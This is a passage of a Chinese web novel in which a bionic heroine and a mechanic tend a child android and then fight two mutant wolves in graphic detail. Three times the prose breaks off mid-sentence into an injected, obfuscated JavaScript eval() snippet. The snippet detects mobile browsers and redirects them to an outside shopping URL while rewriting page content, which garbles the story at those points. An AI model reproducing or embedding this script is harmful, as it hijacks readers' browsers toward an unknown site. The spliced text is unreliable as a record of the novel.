时却远远的,就见摘了墨镜的沈司奥在帐篷外和壁虎交谈;之前见过机械师不在帐篷边上,站在离他们稍远些的地方抽烟。 在沈司奥和壁虎二人边上,还有两人;一个看上去比细雨小几岁,穿白色白裤白鞋的男孩,一个将这男孩紧搂在怀里的女人。 那女人看上去比壁虎大上数岁,长发微卷及腰,画浓妆,穿一件敞着的貂皮大衣,油光水滑的灰色毛皮往内是低胸的紧身针织裙,裙长恰到好处,仅及小腿,再往下只有引人遐思的黑色丝袜,没入一双显然不可能长时间在野外行走的崭新尖头长靴中。 她的神情看上去焦虑且激动;然而即便情态并不放松,也丝毫没磨损她给人以极艳丽之感的第一印象。 是个主流审美里会被大多数人夸赞的漂亮女士。 时却先来到机械师边上,冲他打招呼:“你们管饭没?” 这很重要,不然有人一会就得在摩托上就着冷风啃干粮。 机械师用拇指和食指夹出嘴里燃得差不多的香烟,往地上一扔,拿脚碾灭,慢悠悠道:“不敢怠慢,管过了。” 说完,他抬手:“那边还在讨论隐私问题呢,不如在这等等?” 这话时却听了,但没完全听。她双手插兜如机械师所说的乖乖站在原地,然后,吹了声响亮的口哨。 帐篷边上的四人都听到了这动静,均往这边看。沈司奥低头在手腕附近摆动几下手指。 时却打开腕上终端,显示有一条未读消息。 沈司奥:[稍等。] 机械师啧啧称奇:“你这保镖还挺尽职,他给你开的什么价码?” 精炼总结,大概是包吃包住包扫盲。 时却笑笑不说话,只确保帐篷边上的几人始终处在自己的视线范围内。 盯稍久些,她赫然发觉乖巧倚在女人怀中的男孩,会以极为规律精准——二十三秒一次的频率——抬头观察女人的神情。 她看别人,机械师看她,饶有兴致道:“你发现了。” “那个男孩是仿生人。”时却语气肯定。 “还是六代升级的七代,贵得要死,壁虎花了大价钱。” 机械师摸出个烟盒,夹烟,咬住滤嘴,一只手虚拢遮风,一只手打火。香烟被点燃。他吸气吐气,袅袅白雾散入半空。 “这你能说?” 机械师翻白眼:“又不是什么秘密。为把那小孩拼起来,壁虎当年把附近的区翻了个底朝天,有点名气的机械师没一个不知道这事。” 时却觉察出他这话中,暗含有一丝对壁虎这种行为的微妙不爽。 没等她八卦心起,机械师仿佛也自觉情绪泄露,点到即止,没再继续深入,将话题转为经典的“你中午吃了什么”和“我们中午吃什么”之类没营养的话题。 直叫人在心里大呼可惜。 片刻后,帐篷边上的几人聊完,壁虎挥手示意二人过去。 那女人和仿生人男孩站在原地没走,时却靠近后,女人拍拍男孩的肩膀。 “晨晨,叫人。” 后者眨巴眨巴黑白分明的大眼睛,用小孩子特有的软和音调甜甜地喊了声姐姐。 配上他的白衣白裤和有些婴儿肥的脸颊,颇有种童模在拍什么少儿用品广告的感觉。 可惜这样的形象出现在当下,比起天真可爱,更让时却感觉不甚真实。不久前,她还刚见过同性的尸体,和丢垃圾差不多地被人抛到地上。 不过,这操蛋的情况和小仿生人难道有半毛钱关系吗?没有。 她低头对晨晨回以浅笑。“鞋子不错,”她说,“画的也不错。” 晨晨的白鞋很干净,可以说几乎一尘不染,左右鞋面上以幼稚笔触各勾勒有一株大花朵。 “谢谢姐姐!这是姐姐哦!” 怀里的孩子欢快的叫起来,搂着他的女人身体却一僵。她勉强对时却笑笑,眼角爬出化了妆也遮不住的几丝细纹。 “这孩子,把你绕晕了吧。他说的后一个‘姐姐’是我,我——” 壁虎突然一把搂住她,打断道:“她是我相好,这是她亲弟弟。” 身旁,机械师几不可闻地切了一声。时却不太清楚壁虎为什么这时候蹦出来强调“相好”和“亲弟弟”这种事,毫不掩饰地转眼去看沈司奥。 “不好意思,她III型辐射病,脑子不好使,”沈司奥道,“叫花朵姐。” 时却收到他话里暗含的信号,很上道地喊了声“花朵姐”,识相地当起锯嘴的葫芦,只保持微笑以免吓到在场唯一一个小孩子,多余的字一个不再说。 沈司奥弯腰摸摸晨晨的头,“明天晚上再来找哥哥聊天。” 晨晨举起两只手抓住花朵姐的手腕,小脸皱成一团,紧张兮兮地瞄身边的帐篷。 “种子发芽的声音很好听,不过可以换在能看到星星的安静地方给讲故事吗?晨晨不喜欢被关着,也不喜欢听音乐。” 沈司奥抬眼看花朵姐。 花朵姐似是被人拿针狠扎,浑身一颤,红了眼圈。壁虎眉心一跳,别开脸,神色立即阴沉下来。 时却一脑袋问号。 “监护人怎么说?到时候我们可以找个僻静点的地方,”沈司奥道,“我需要时却离得稍近点,以防出什么意外。” 花朵姐深吸一口气,慢慢蹲下身抱住懵懂的晨晨,抬头。“行。” “这事被顺利解决,”壁虎沉声,“我欠你们每人一个大人情,” 他说是这样说,给人的感觉更像是,“会给封口费,拿了就把嘴闭上保密,否则弄死你们”。 时却扮鹌鹑,直到重新上路,避开骑摩托的黑蝎,选了个缀在车队边缘的角落,旁边尽是些窗户紧闭的大车,才将黑蝎的机械师对壁虎疑似不满的事情告诉沈司奥,问这是怎么一回事。 “在亲近壁虎的黑蝎看来,也许会觉得替壁虎不值吧,”沈司奥说,“花朵姐和壁虎是姐弟恋,七八年了,从壁虎还是个愣头小子时就开始了。现在,壁虎正值青壮年,花朵姐……” “只会逐步凋零?”时却随口接道,嗤笑一声。 看来不管在哪个世界,有些带腐烂陈旧气味的东西却是出奇地相似。 “真没别的原因?” “可能还有晨晨的因素在里面,”沈司奥补充说,“听说壁虎少有做出的几件出格的事情,都是为了晨晨。” 时却操控摩托拐过一个转弯,有些分神地盯着道路前方零散的车队。 “说起晨晨,我看他运行得还算正常。” “今天只是锚点的初步重构。今明两天是危险期,最好再进行巩固。” 时却有些不解:“我看花朵姐很紧张晨晨。难道她这样的主人,也会让晨晨锚点消失?” 后视镜中,沈司奥抬手,做了个应该是搔搔脸的动作。他正常地坐在后座上,因此时却看不到他的眼睛和神情。 他似乎在组织语言,又似乎陷入了一些有深度的思考。 约一分钟后,他的声音缓慢地传来。 “仿生人的锚点受影响,是一件有逐步累积性质的事情。” “也许是一句无心之言,也许是一个疏忽的举动,经年累月积累下来,就足以令锚点消失。我之前说,主人长期且多次地进行令仿生人逻辑混乱的举动,会令仿生人锚点消失,这句话就是字面上的意思。” “当下自诩非常遵守交通规则的人,能做到一辈子过马路永不闯灯吗?对于被设定了和主人两情相悦的仿生人来说,很可能主人的一句随口抱怨,就是一次对其锚点的动摇。锚点是迟早会消失的,因为程序不会变通,而一个人在他的生命中,必然无法永远遵守苛刻的规则。” “有学者提出,机械师应视锚点消失,为必然发生的故障或需要定期更换的零件。哪有什么机器不需要维修和部件的更替?如果仿生人能脱离这一桎梏,更灵活……” 沈司奥突然一激灵,住了口,从进入心流般的侃侃而谈中清醒过来。但他无法阻止时却顺着这未竟之语接话。 “那它就成人了,对吧?” “……大概吧。” 时却笑笑,对上后视镜中沈司奥的眼睛。“看什么,”她道,“你想从我脸上瞧出什么样的花朵来?” 她本想说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13382441|136769||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 表情,话到嘴边,鬼使神差地换成了“花”。 沈司奥略显尴尬地正回身体。时却感到后方一阵摩挲动静。 “也没有尴尬到要离我远点的地步吧。后边地方就这么大。” 沈司奥脸有点红,脑袋又探进后视镜中一点,略提高音量:“还有什么要问的快问。” 时却不逗他了。“最后一个问题,明天晚上我要做什么?” “离我近点,免得晨晨失控让我挂彩,”机械师道,“不管听到什么的都把嘴封好,免得壁虎公报私仇。其余没了。” 时却顿了一下,笑问:“他就这么一点大,还能伤人?” “当然可以,壁虎之前给他找的零件是最好的。看着没杀伤力,是因为花朵姐不需要他的程序里掺杂暴力和伤人的欲望。” 在时却向沈老板拍着胸脯保证会护他周全后,二人结束了这个话题。 在仿佛无尽的森林中慢吞吞穿行了几个小时后,日头西斜,时间来到傍晚。 时却和沈司奥仍旧混在较晚进入缓冲点的一批车队里。和中午差不多,当他们进入缓冲点时,蝎子已将缓冲点布置为熟悉的模样。 冬日的太阳总是降得快,二人吃完饭,太阳坠入地平线下,没一会连余晖也消失殆尽。 两人慢悠悠在临时的“黑街”中闲逛了一会后,夜晚完全地到来。 他们路过一个地摊,摊主不知道有什么神通,卖的全是沾染了新鲜血迹或尘土的武器,且那些武器均不是蝎子发放的制式。 时却弯腰捡起一个铁制的四指指虎,往右手上套,不想居然大小刚刚好。 喧闹中,无人机机翼搅动空气的声音响起,被调小了不少的壁虎的声音,失真地在林间瓮声瓮气地响起: “预计今夜有狼群来袭,请灰蝎、粉蝎、蓝蝎在集中休息处列队,相关负责人立即点名。请有意参战的紫蝎十分钟内前往兑换处集合。” 摊位的老板是个抽水烟的中年女人,吧嗒了几口,将铺在的摊布四角一捏兜起,一言不发,只伸出右手,朝时却搓搓拇指和食指。 沈司奥从背包里摸出他的特质墨镜,捏在手里,以眼神无声地询问。 时却慢慢地握拳,冰冷的金属在掌中咯着的感觉,无端让她想象出一段近似科普视频的片段: 那是,以亮光形成示意从而实体化的刺激,沿人造的神经传递到她的机械大脑。 她的机械大脑中塞满了彼此嵌合得严丝合缝的齿轮,这些齿轮或正放、或斜放、或规整、或异形。 齿轮们基于获取到的刺激,吱吱呀呀地围绕着一个神秘的中心,允自顺时针或逆时针地转动起来,对她发出命令,指点她的行动,告诉她: 你不需要手上的这个东西。 ……从睁眼有意识起,她曾有过很短暂的时间,在逃出蜜桃后,因战斗而感到刺激与快意。但这感觉稍纵即逝,之后再也没出现过。 由此,她认为,她觉得,她应该,不是个暴力狂。 是的,她不热衷于暴力,无论有出发点的还是没理由的,无论对人的还是对兽的,她都不会感兴趣。 她就是这样的家伙,即使白天想再见识见识变异动植物,那也不是狩猎,而是仅限于再“见识见识”,免得日后吃亏。 就像晨晨被植入锚点后,他认为,觉得,应该,会,是花朵姐的亲弟弟。 如同……一个不太会做饭的社畜,一个需要性格强势的发小帮自己教训咸猪手的女性,一个受过高等教育的女性,认为,觉得,自己应该,不会,对暴力感兴趣那样。 不知是否属于她的理智告诉时却,她不必要这么快去狩猎,她还可以躺平三天,她没有理由去主动参与这样的情景。 不知是否属于她的感性告诉时却,她需要将从前一以归类为“暴力”的活动重新分级、分门别类。 她迫切地,需要主动进入一场纯粹的、无理由的战斗,以证明…… 证明什么呢? 在雾白色的水烟烟气中,时却从沉默的摊主买下手中的四指指虎,转身对沈司奥说: “走,去兑换处。” 30. 二狼 赶去兑换点途中,时却稍微冷静下来。她不是孤身一人。 她郑重地对沈司奥承诺不会忘记留意他。“我会尽量找匹落单的孤狼,或主动引狼落单。” 远离其他人,能大大减少混乱中沈司奥被袭击的风险。 “就像之前猎杀四脚鱼那样,狩猎总要进行,对我来说,只是提前了点,”沈司奥倒显得无所谓,“你不可能把我时刻栓在裤腰带上。” 无论如何,时却感谢他刚刚能先做出询问她意见的姿态。 甚至还主动掏出墨镜,一幅做好面对血腥的模样。 她想了想,对沈司奥说这次参与对抗狼群的收益,全算给他。 毕竟以蝎子的语气,这场战斗并不强制每个紫蝎参加。 * 二人赶到目的地,一旁的医疗处备上不少医药用品和治疗仪,蝎子的人在兑换处往卡车上往下搬箱子。 人造灯映出的冷白光亮下,多只手臂接力传递着这些四方块,微薄的白色热气从这些手臂的主人的脖颈处逸散,侧面显示出它们颇有分量。 被搬下的木箱落地后,再有专人使其成列排开,逐一推倒,哗啦吐出一地的枪支弹药或常见冷兵器。 壁虎和蜥蜴站在这堆凶器旁交谈,留意到时却和沈司奥,让二人就站他们面前。 “方便。”壁虎说。 蜥蜴捣他一肘子:“你话说明白点。” 她转向两人解释,这些武器将不似白天那样是看人发放制,而是念名字,以先来后到的方式,让被念到名字的人随便选。 时却的名字在前十以内,沈司奥沾她的光,是第十一。 说完武器,蜥蜴接着说变异狼群的事情。 “这个狼群是区外存在很久的毒瘤,专袭击路过的团队,里面的每只狼还特别记仇。一只被打上一枪,没死,隔上几年你再路过,被嗅到了气息,就是脱离狼群,它也要不管不顾来追杀你。” “本以为应对这个狼群得全部紫蝎都上,”蜥蜴神神秘秘道,“结果你们猜怎么着,无人机返回的影像显示,它们的数量比预估的少去很多。” 用不到这么多人,还是组织玩命的活儿,加上狼尸终究得进自家腰包,蝎子内部讨论后,决定大方些,把这批武器随便点发掉。 解释完内部消息,蜥蜴转移话题,和时却聊起四脚鱼的事情。 “你该拉我去,”她颇为可惜地说,“兑换的人看到我,多少能给你涨点钱。” 瞌睡送枕头,就着这个话头,时却趁机和她加上终端好友。 二人刚互加完,旁边一直闷声不吭的壁虎拍拍蜥蜴的肩膀,蜥蜴看他一眼便笑了,转脸道:“我们二当家也想和你交换个联系方式。” 时却无所谓地答应。 她们聊了会,直到此前壁虎在广播里说的限制报名的十分钟到。 挑选武器的过程乏善可陈,时却对不时落在她和沈司奥身上的视线趋于习惯。 时却新要了一把散弹枪,沈司奥补齐二人需要的弹药。 等所有人都挑选完毕,蜥蜴说接下来会开始分配各人应去防守的位置。 为便于紫蝎们清楚自己该去哪里,蝎子在众人面前投影出缓冲点的三维立体图,每安排一个人,就会有对应的名字和代表所在位置的红点出现于其上。 快到时却和沈司奥时,壁虎对蜥蜴耳语几句。 最终,二人被安排在一个位于缓冲点边缘的偏僻角落。 等所有人都被分配完毕,三维立体图上显示,距离他们最近的紫蝎约在三十到五十米开外。 到了指定地点就位,时却观察离二人较近的几个紫蝎,没感觉到他们对沈司奥有什么强烈的兴趣。 “这算壁虎的示好?” 沈司奥耸肩:“毕竟还用得着我。” 因是偏僻角落,此处由蝎子设立的户外灯不多,光线可称得上黯淡。 时却身前不远就是缓冲点的边界线,她眯眼去瞧: 即便夜晚,即便光线不如白日那么充足,在这淡红“血溪”之中,依旧可见其中的流沙状物质缓缓流淌。 冰冷的夜风从仅有一步之遥的林间吹出,边界线的另一侧,树影婆娑,树叶与树叶之间持续不断地窃窃私语。 黑暗本身便形成最大只,最能勾起人对未知恐惧的野兽。 沈司奥斜背猎枪,腰上别着时却给他的电击器,不时摸摸这些装备,频率远超正常状态。 看得出来,他有些紧张。 “光线不充足,能见度太小。”他说。 对时却来说,虽稍显昏暗,但视物范围和白日比并未缩减太多。 数步开外一颗树的树干局部突然动了一下,她觉出那是只变色龙。 几息后,它弹舌,将路过的一只飞虫吸入口中,心满意足地往旁边挪,绕到树干背面去了。 时却呼吸,让冰冷的空气充盈肺,再被全数挤出;手伸进上衣口袋,触到刚买的四指指虎。 她把它掏出来,丢给沈司奥叫他收好,检查身上的其他武器。 沈司奥疑惑:“不用吗?” “改主意了,暂放你那里,”时却把散弹枪上膛,“我还用枪和刀。你戴稳墨镜。” 参加就好,她想,不需要走另一个极端。 用指虎的话,要离狼很近,并得离身边的人比较远。 老板表现出来为她着想的样子,她就投桃报李呗。 几架无人机钻出来,不知怎么处理的,机翼的声音变得几近为无。 它们静悄悄地盘旋在半空中,代表摄像头的红点对准地面上零散分布的紫蝎。 时却凝神,竖耳倾听,直至—— 什么东西,拥有厚实软垫的四足踩在落于泥土地的叶和树枝上,厚实粗硬的皮毛窸窣擦过灌木,拨开树丛,慢慢地,自位于缓冲点边界另一侧的黑暗靠近。 变异狼来了,共两只。并齐走。 于人的视线范围所无法看清的距离,借助浅淡月光和被沈司奥抱怨的黯淡灯光,她早早地瞧清了这两只不速之客的全貌。 通体全灰的两只成年狼。牛般大小。 时却在地图上第一个看的变异动物图鉴,就是变异狼。 事实上,图鉴里的确也写过,因辐射缘故,变异狼发生了体积方面的异变,多数会像被吹的气球那样等比例膨大。 纸上得来无概念,她没想到它们会这样大,像经地狱改造过的死神。 她看一眼边上的沈司奥,又转回去仔细观察,总结出一个好消息和一个坏消息。 好消息,这两匹狼都带了伤,一匹左前腿处有呈圈状的溃烂伤口,另一匹则是颈部不知被什么有腐蚀性的东西缠绕过般,血肉外翻,不少区域还化了脓。 坏消息,估计伤口很痛;哪怕猫科动物的面部肌肉数量很少,很擅长隐藏疼痛,时却也能直觉感受到,这两匹狼当下十分暴躁。 证据之一是,还没到猎物跟前,它们已控制不住险恶地上翻吻部,呵出气息,露出根部泛黄的犬齿。 托体型被等比例放大的“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13409480|136769||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 福气”,那犬齿的长度完全超出了成年人脖颈的直径。 被扑倒,被照脖子来上一口,受害人将收获一个对穿的血洞。 几个呼吸后,身边沈司奥戳她一下:“那里……狼的眼睛。” 两只猎手更近了,近到他这样的普通人瞧出端倪。 在缓冲点和森林交界处附近,有一块区域;它仍属于林中,不过上方枝叶稀疏。 月光冷淡地在这区域投下了几块不规则的亮斑。 两只灰狼步入这些亮光中,覆盖它们,让它们为阴影所吞没。 恫吓的嘶吼从灰狼的喉间挤出,似闷雷遥远地滚过天际。 现在,轮到它们来评估眼前的猎物了。 两只灰狼彼此远离,绿莹莹的如鬼火般的兽瞳,一错不错地盯着不远处的时却和沈司奥,昭示吐息的浅淡白雾飘忽向上,逸散在冰冷的空气中,寓意食欲的涎水拉长向下,从咧开的嘴角滴落。 它们狼尾低垂,缓慢靠近。 沈司奥打了个寒战。 时却用力按一下他的肩膀,前跨出半步。 “退后。” 机械师的气息向后撤了一点儿。 “再退。” 于离她约一步的距离停住。 “退。” 这次变为五步。 时却满意了。 “一会被靠近,不用管我,闭眼平着开枪,挥舞着开也没问题。” 打中她也没关系,只要别被叼了脖子。 时却驾上散弹枪,评估该先瞄准哪一只。 两灰狼中,颈部有伤的那只位于她右前侧,另一只腿部有伤的位于她正前方。 伤颈的狼小个些,伤腿的狼大个些。 时却瞄准那只大个狼,架起此前枪口一直朝向斜下方的散弹枪。 被她指着脑袋的大个狼愈发暴躁地喷气,喉中的嘶吼声变大。 啧,有脑子,还认识枪。 时却神智极清明,心跳加快如擂鼓般撞击耳膜,周身血液逐渐发烫。 情况变得棘手起来。 可,一丝无来由的狂喜和激动倏忽无中生有,似冬眠已久的蛇般苏醒了,缠绕上她的脚,蜿蜒盘旋着,顺着她的脊柱往上攀爬蔓延,叫她头皮发麻。 她突生出恍若隔世的熟悉感,仿佛曾千万遍处于类似当下的情景。 以一人面对多只猛兽的境地。 时却有些……口干舌燥。 她长长吐出一口气,平复心情,眼角余光留意到什么,整个人一顿。 小个狼趁往她边上走了几步,变换到不适合攻击她,却正对沈司奥的位置。 这可不行。坏孩子。 她皱眉,偏转枪口,拉动保险,砰一枪打在小个狼前侧不远处,再快速重新上膛,转对回大个狼。 此时,大小个狼距离缓冲点的边界尚有两步之遥,两边的人和动物未料到她竟这时候开枪。 沈司奥肩膀一跳,被主要恫吓的小个狼更是嘴龇得愈发开,兽瞳中似人般流露怨毒之色,也不管沈司奥这个明显看上去更弱小的猎物了,立时和大个狼同仇敌忾,转向时却。 两狼也不踱步观察了,口中呼出的白雾更密更浓,默契地一块逼近,几乎步调一致地低头拱背,压低前躯,眼直勾勾地向上紧盯时却。 明摆着择时便要齐齐攻击眼前这个胆敢率先下马威的人类! 下一刻,先动的是大个狼,如炮弹般向时却冲来,猛地起扑! 小个狼嘶吼着紧随其后! 31. 乐章 如雷作响的心跳声中,处于二狼攻击目标点的时却,瞳孔急剧收缩。 正前方,大个狼张开血盆大口,野兽口中的膻腥臭味随风而至,先利齿一步钻入她的鼻腔。 它看上的,无疑是她的颈部。它想咬断猎物的喉咙,痛饮猎物的鲜血。 右前侧,小个狼不甘示弱,自喉部滚出的嘶吼似马上要爆炸的手榴弹,即将撞上她的右肩。 它期待的,大概是她因剧痛而散弹枪脱手。 显而易见,大个狼负责正面一招制敌,小个狼负责给它打辅助。这俩畜生,配合得倒是默契无间。 于千钧一发之际,不知何处,一连串仿佛某物开裂的细微声音,十分不和谐地钻入时却耳中。 咔,咔,咔。 她疑心这是幻听,同时惊讶于自己竟还能分神去实施“疑心”这个思虑动作。 半空中,一起当下正运动着的物体仿佛均凝滞住,以数十倍的慢速播放。 ……是她的思维速度变快了。 时却紧盯距散弹枪枪尖仅有十几厘米的大个狼。 其犬齿和旁牙之间夹有几缕暗红色肉丝,它们部分嵌塞进牙缝中,部分软塌地探伸至牙缝之外。 显然,那是大个狼上一个猎物在世上的最后残余。 我不会成为你的猎物,硬毛畜生。时却微笑着想。 你口中的这点肉丝会很快因细菌作用烂掉,转变为微不足道的软垢,粘黏你的利齿根部。 而我会让你的尸体,也同样不值一提地和它们一块腐败。 一点灵光钻进她的脑海,拖曳出凌乱的算式和字符。 时却甚至什么都还没明白,不晓得过程为何,便如呼吸般自然,下个刹那估算出了两个结果: 大个狼触及散弹枪枪尖的时间,以及子弹打中它所需的时间。 这不属于危急之下她对入伍新兵的融会贯通,而是从身体内部极深处涌出的本能,冷酷,精密,渴血,令人战栗。 ……该如何更精确地形容这种区别? 入伍新兵教导她如何使用武器,无法让她成为武器本身。可这种本能可以。 于两点莹绿的兽瞳中,时却看见自己的剪映和黑洞洞的枪口不断逼近。微笑从她面容上褪下,被更加兴致盎然的神色取而代之。 心怦怦跳,浑身的血如同翻滚的岩浆般变得滚烫炙热。她花掉极大力气,才克制自己不要兴奋得颤抖,以免影响持枪的手的稳定性。 近一点,再近一点—— 她右手食指弯曲,扣动扳机。 这一瞬间,撞针咯哒。火药点燃。 气体因化学反应无中生有,迅速膨胀、喷涌,怒涛般袭向狭小枪膛中的唯一一颗散弹。 散弹内有弹丸。 弹丸,那是些挨挨挤挤的金属制小东西们,足有几十颗,被拢在一块。 它们被名为弹壳的结构包裹着,在气浪急推下,呼啸着蹿出深邃的枪膛内道,几乎是在得见天光刹那便抛下弹壳,天女散花般彼此分离,再带着万钧之力朝顺枪身所指弹射而去! 一经确认子弹离枪,时却毫不留恋于观察其效果,旋拧身体,左手前滑,双手一前一后抓紧散弹枪,抡圆了朝右前侧狠狠挥去! 这一刹那,因火药燃烧而生的白色烟气甫一钻出枪口,还未成雾便被打散;因火药燃烧而生的刺激爆燃气味,争先恐后地冲入时却的鼻腔。 这一刹那,砰!左耳畔如雷般炸开,有温热的液滴飞溅入眼,时却的视线被蒙上一层极为浅淡的血红色。 旋即,两侧景色迅疾倒退,时却被小个狼直直冲撞出去,后背着地,火辣辣地疼,整个人以一种近乎仰躺的姿势摔在草地上! 更糟糕的是,小个狼是起跳扑上来的,她这样的姿势,还作了它的人肉垫子。 唯一的好消息只有:尽管她的大部分背面都贴在地上,它踩在了她的腹部上,她一腿曲起,只能有限的弓起上半身,尽管它咆哮着,险恶地朝她怒张着大嘴,颈部还有脓水拉着丝滴下,但…… 终究,时却赶上了两狼起跳时,那一点稍纵即逝的时间差。 对大个狼打出一枪后,以一字型的姿态,她成功将散弹枪的局部横进了小个狼的口中! 如今,散弹枪越过了小个狼那两排利齿,正抵着它口腔最后缘的软肉部分! 因着散弹枪横亘在她的两只手之间,她的两手又分别位于小个狼的左右侧,只要她保持狠力发劲,短时间内,小个狼不得存进。 如今,伴着狼嘴里的恶臭口气,她曾仔细打量过的尖牙,这足可一刺便穿透成人颈部的犬齿,几乎要贴到她的脸上。 但也只能是几乎。 身上多处传来几丝尖利痛意。不用想,小个狼脚爪的指甲尖锐探出,抓穿了她的上衣。普通上衣与狼爪相比,自然轻薄如纸。 许多残酷的想法飞快地掠过时却心头。 ……小个子,该怎么送你去死才好? 仿佛感知到脚下猎物的想法,小个狼愈发暴躁,又是一阵接连不断的低声咆哮。 它的大半个身体的重量都压在了时却胸膛上,徒劳无功地不断开合嘴巴,流下腥臭的涎水,妄图低头倾身,近一点,近一点,再近一点。 时却喘起粗气,有了决定。 血色仍未在她的视野范围内散去。她盯着眼前通体淡红的小个狼,咧嘴露出一个带血腥气的狂喜笑容。 她陷入一种近似微醺般的飘飘然状态中,听到自体内传来有众多机械传动配合的声音。 咔哒。 咔哒咔哒咔哒。 咔哒咔哒咔哒咔哒。 齿牙咬入齿槽,活塞在既定轨道里来回,键插进键槽中,弹簧被压缩,被拉长,轴带动与之相连的部件平移、旋转、摇摆……这些声音繁复却又暗含规律,是内有玄机的、生机勃勃的乐章。 是她的无尽力量来源。 时却目光炯炯,捏紧手中的散弹枪,瞅准了小个狼作开合动作时,大开兽口的一个瞬间,猛一挺腰,朝斜上方发力一推! 顺着她的力道,散弹枪撞上小个狼的后槽牙,受磕绊的同时,也叫这小个狼的头一下仰起,暴露出长毛纠结成团的下巴,以及存在有受腐蚀圈状伤口的脆弱脖颈。 时却……等的就是这个! 她果断松开双手,左手后撤撑住上身,腰部发力,右手飞快抽出腰间匕首,往眼前野兽本就受伤化了脓的脖颈区域重重一刺,再不管不顾地往侧部奋力一划! 下一刻,她丝毫不留恋地松手,任由小个狼爆出凄厉如婴儿哭嚎般的尖叫,带着扎在颈部和下巴交界处的匕首疯狂甩头。 自匕首插入的伤口处,大量呈诡异粘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13437732|136769||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 稠质地的血液混合着暗黄色的脓液涌出,呈溅射状,喷在她的脸、所有裸露在外的皮肤和上衣上。 她没感半点恶心,只觉得有些妨碍视线。 她眯着眼睛继续往腰间摸,掏出手枪,再度指向小个狼,对准它因不管不顾地甩头,而偶有露出的受伤脖颈处。 射击。射击。射击。 打到左前上肢和躯干交界的地方。打到眼睛。打到耳朵。 没关系。再来。 数发下去,小个狼惨叫连连,夹着尾巴,呜咽着从她身上退下半步。 还未完全退走,它倏忽僵直了约两到三秒,张嘴吐出几汪血沫,发出似咳嗽又似咳呛的声音,一下倒在时却身上,拉风箱似的,呼哧呼哧喘起粗气,莹绿的兽瞳就倒在时却脸颊的不远处,却连半分张嘴再咬的气力也没有了。 既然狼头近在咫尺,那么显而易见,时却的匕首也近在咫尺。 她一把抽出匕首,毫不客气给小个狼再补上几刀,重点照顾脖颈处的气管,不打算给这野兽再留下什么临死前奋力一咬的机会。 做完这一切,她躺在地上,做了几个深呼吸。 一番战斗下来,她方有闲余留意几十米开外。只有她和沈司奥倒了大霉,就近其他几块位置,也只一处来了只孤狼,其余地方连根野兽毛都不见。 让沈司奥待在原地暂时先别靠近,等身边的莹绿兽瞳中代表生命力的光亮完全消失,时却慢慢爬起身,背对沈司奥蹲在狼尸前。 她特意选了个绝妙的角度,沈司奥看不到她的正脸,她却能将大小个狼的情况一览无余。 小个狼,不消说,已是进气多出气少。 大个狼,目前的状态是被散弹枪怼脸轰,几乎可以说是打了个稀巴烂,脸部尽是大小不一的血洞,躺在地上断了气。 时却观察狼,沈司奥观察时却。 他戴着的墨镜能将血色“过滤”,这种过滤会让他视野范围内的血红色变为黑色。 好几个瞬间,他都清清楚楚地瞧见了,时却的下半身还好,但脸和上半身……密密麻麻地溅满了大小不一、形态各异的黑色。 这些黑色让他想起霉菌,它们会在阴湿天气会悄无声息地,将许多东西污染成令人作呕的模样。 沈司奥的心慢慢提起,颇有些后悔。 ……可能拿出老板的威严来,让这明显精神状态不太稳定的仿生人安分躺平摆烂,才是正确的选择。 在这七上八下的情绪里,他见时却打量了一会子大个狼,原地蹲下摸了两把小个狼,颇为嫌弃地用对方的皮毛草草擦过匕首后,做出了一个有点奇怪的举动。 她脱下了在沈司奥的当前世界里,被“黑色”染得一塌糊涂的外套,翻来覆去,最后勉为其难地找了块似乎相对来说还算干净的区域,和用钢丝球刷碗的力度没什么区别地,胡乱擦了擦脸。 她的手依次伸进两个袖管里,将袖管拉出来,整个外套反了过来。 沈司奥预感到什么。 时却转过身。 她的脸看起来还好了,上半身也是,虽然因穿着这件反了过来的外套而略显奇怪,但还算干净,没有沾染多少“黑色”。 ……我才没怕到这个地步。 年轻的机械师忿忿地想,却控制不住自己,长舒出一口气,悬了好一会的心重重落地。 32. 悬赏 时却一手拽一条狼腿,依次将两头狼尸拖到一起。 忙活完,她转头去留意沈司奥,就见不远处的机械师蠢蠢欲动,似乎很想凑凑过来瞧瞧这两头死狼的样子。 ……活像个高血糖患者,非得餐后再来块巧克力。 压下对老板翻白眼的冲动,她举手示意他不要靠近,丢下大小个狼,往他的所在走。 这块地界能喘气没几个,两人凑到一块,自然而然往其他人那瞅。 弄死大小狼后,时却唯一见到的那只狼,不在片刻前所处的位置。它咬断了被安排在那个位置的紫蝎的喉咙,舔着嘴边的血,往下一个紫蝎踱去。 被孤狼认定为是下一个攻击目标的紫蝎如临大敌,滑跪得迅速,朝附近的好几人连喊出几句让渡利益的话。 